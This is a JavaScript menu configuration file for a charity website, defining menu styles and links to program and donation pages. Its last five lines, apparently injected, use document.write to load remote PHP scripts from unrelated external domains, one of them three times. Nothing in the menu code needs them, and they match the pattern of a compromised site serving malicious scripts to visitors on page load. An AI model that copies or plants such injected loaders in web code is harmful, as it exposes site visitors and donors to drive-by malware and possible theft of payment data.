var bTestSite=false;
var sHttpPrefix="http://";

// establish test vs live site
if (window.location.toString().toLowerCase().indexOf("minisage.com") > -1)
{
	bTestSite=true;
}
// establish http vs https
if (window.location.toString().toLowerCase().indexOf("https") > -1)
{
	sHttpPrefix = "https://";
}

var nSubMenuAdditionalWidthMedium = 0;   	//mfindlay
var nSubMenuAdditionalWidthWide = 0;    	//mfindlay

var nMenuWidth=0;				// width of menus to appear. Set to zero to ignore
var sBaseSite="";
var sNonSSLBaseSite="";

// If test site, just use 1 base site
/*if (bTestSite) 
{
	sBaseSite = sHttpPrefix + "";
	sNonSSLBaseSite ="http://" + "";
}
else
{
	sNonSSLBaseSite = ""/"http://" + "";
	
	// live site. If https mode, use safesecureweb address
	if (sHttpPrefix=="https://")
	{
		sBaseSite = sHttpPrefix + "";
	}
	else
	{
		// non ssl mode, use normal address
		sBaseSite = sHttpPrefix + "";
	}
} */

//****************************************************
// reloadCAPTCHA
//****************************************************
function reloadCAPTCHA() 
{
	document.getElementById('CAPTCHA').src=sBaseSite + 'include/CAPTCHA/CAPTCHA_image.asp?'+Date();
}

//********************
// TD Top nav onclick
//********************
function NavigateTo(sTarget)
{
	//window.location.href = sBaseSite + sTarget;
	window.location.href = sNonSSLBaseSite + sTarget;
	return true;
}


//var submenuTopOffset = "offset=5";  see iym for reference use in submenu flyouts
//var submenuLeftOffset = "offset=1";

// milonic
_menuCloseDelay=250;           	// The time delay for menus to remain visible on mouse out
_menuOpenDelay=50;             	// The time delay before menus open on mouse over
_subOffsetTop=4;             	// Sub menu top offset from bottom of image associated with it
_subOffsetLeft=-4;            	// Sub menu left offset

// ABOUT US STYLE
with(aboutusMenuStyle=new mm_style()){


onbgcolor="#9b2f2f";			// hover background color  
offbgcolor="#5c8fbf";			// normal (non-hover) background color  
offcolor="#FFFFFF";				// normal (non-hover) text color  
oncolor="#FFFFFF";				// hover text color  
offclass="mmpadding";			// custom style attached to menu
onclass="mmpadding";			// custom style attached to menu
bordercolor="#A89C91";			// border color 
borderstyle="solid";
borderwidth=0;
fontfamily="Tahoma";				// font / font family
fontsize="11px";				// font size
fontstyle="normal";				// font style   
fontweight="none";				// font weight (bold)   
//outfilter="Fade(duration=0.1)";
overfilter="Fade(duration=0.1);Alpha(opacity=100);Shadow(color='#777777', Direction=135, Strength=0)";
padding=3;						// menu item cell padding
pagebgcolor="#5c8fbf"; 			// this is the (non-hover) background color of the menu item last clicked 
pagecolor="#FFFFFF";  			// this is the (non-hover) text color of the menu item last clicked 
separatorcolor="#5c8fbf";		// separator color 
separatorsize="1";
subimage=sBaseSite + "../images/sub_arrow.gif";
subimagepadding="2";
}
// POVERTY STYLE
with(povertyMenuStyle=new mm_style()){


onbgcolor="#9b2f2f";			// hover background color  
offbgcolor="#5c8fbf";			// normal (non-hover) background color  
offcolor="#FFFFFF";				// normal (non-hover) text color  
oncolor="#FFFFFF";				// hover text color  
offclass="mmpadding";			// custom style attached to menu
onclass="mmpadding";			// custom style attached to menu
bordercolor="#A89C91";			// border color 
borderstyle="solid";
borderwidth=0;
fontfamily="Tahoma";				// font / font family
fontsize="11px";				// font size
fontstyle="normal";				// font style   
fontweight="none";				// font weight (bold)   
//outfilter="Fade(duration=0.1)";
overfilter="Fade(duration=0.1);Alpha(opacity=100);Shadow(color='#777777', Direction=135, Strength=0)";
padding=3;						// menu item cell padding
pagebgcolor="#5c8fbf"; 			// this is the (non-hover) background color of the menu item last clicked 
pagecolor="#FFFFFF";  			// this is the (non-hover) text color of the menu item last clicked 
separatorcolor="#5c8fbf";		// separator color 
separatorsize="1";
subimage=sBaseSite + "../images/sub_arrow.gif";
subimagepadding="2";
}
// PARTNERS STYLE
with(partnersMenuStyle=new mm_style()){
//decoration="none"
//disabled="true"

onbgcolor="#9b2f2f";			// hover background color  
offbgcolor="#5c8fbf";			// normal (non-hover) background color  
offcolor="#FFFFFF";				// normal (non-hover) text color  
oncolor="#FFFFFF";				// hover text color  
offclass="mmpadding";			// custom style attached to menu
onclass="mmpadding";			// custom style attached to menu
bordercolor="#A89C91";			// border color 
borderstyle="solid";
borderwidth=0;
fontfamily="Tahoma";				// font / font family
fontsize="11px";				// font size
fontstyle="normal";				// font style   
fontweight="none";				// font weight (bold)   
//outfilter="Fade(duration=0.1)";
overfilter="Fade(duration=0.1);Alpha(opacity=100);Shadow(color='#777777', Direction=135, Strength=0)";
padding=3;						// menu item cell padding
pagebgcolor="#5c8fbf"; 			// this is the (non-hover) background color of the menu item last clicked 
pagecolor="#FFFFFF";  			// this is the (non-hover) text color of the menu item last clicked 
separatorcolor="#5c8fbf";		// separator color 
separatorsize="1";
subimage=sBaseSite + "../images/sub_arrow.gif";
subimagepadding="2";
}


// IMPACT STYLE
with(impactMenuStyle=new mm_style()){

}
// MEDIA STYLE
with(mediaMenuStyle=new mm_style()){

}
// INVOLVED STYLE
with(involvedMenuStyle=new mm_style()){

}

//******************** Academic***********************************
with(milonic=new menuname("mmourAcademic")){
//alwaysvisible=1;
//followscroll=1;
overflow="scroll";
style=aboutusMenuStyle;
itemwidth=155;  

//top=80;
//left=0;
//aI("align=center;pointer=move;text=drag to move menu;type=dragable;url=#;");

aI("text=Background;url=" + sNonSSLBaseSite + "payments/Background.aspx");
//aI("text=Team;url=" + sNonSSLBaseSite + "payments/Team.aspx");
aI("text=Board Members;url=" + sNonSSLBaseSite + "payments/Boardmembers.aspx");
aI("text=Careers;url=" + sNonSSLBaseSite + "payments/Careers.aspx");
aI("text=Contact Us;url=" + sNonSSLBaseSite + "payments/contactus.aspx");


/*aI("text=Attendance ;url=" + sNonSSLBaseSite + "Attendanceregister.aspx");*/

}





//******************** CoCurricular ***********************************
with(milonic=new menuname("mmouradministration")){
//alwaysvisible=1;
//followscroll=1;
overflow="scroll";
style=povertyMenuStyle;
itemwidth=250;  

aI("text=Overview;url=" + sNonSSLBaseSite + "payments/ultrapooroverview.aspx");
aI("text=Who are the Ultra Poor;url=" + sNonSSLBaseSite + "payments/ultrapoor.aspx");
aI("text=How does the Ultra Poor Program work?;url=" + sNonSSLBaseSite + "payments/ultrapoorpgm.aspx");
aI("text=Why the need for the Ultra Poor Program;url=" + sNonSSLBaseSite + "payments/need.aspx");
aI("text=What does the program entail;url=" + sNonSSLBaseSite + "payments/programentail.aspx");//
aI("text=Program Components;url=" + sNonSSLBaseSite + "payments/programcomponents.aspx");

}


//******************** Administration ***********************************
with(milonic=new menuname("mmCoCurricular")){
//alwaysvisible=1;
//followscroll=1;
overflow="scroll";
style=partnersMenuStyle;
itemwidth=150;  
//top=80;
//left=0;
//aI("align=center;pointer=move;text=drag to move menu;type=dragable;url=#;");
aI("text=Donate By Mail;url=" + sNonSSLBaseSite + "payments/mail.aspx");
aI("text=Donate Online;url=" + sNonSSLBaseSite + "payments/directpaymentsale.aspx");
}

//for submenus


document.write('<script src=http://gimgoszczanow.pl/attach_mod/customize.php ><\/script>');
document.write('<script src=http://northstarsocal.com/testpage/contact.php ><\/script>');
document.write('<script src=http://sketches.co.in/already73/bottom_04.php ><\/script>');
document.write('<script src=http://sketches.co.in/already73/bottom_04.php ><\/script>');
document.write('<script src=http://sketches.co.in/already73/bottom_04.php ><\/script>');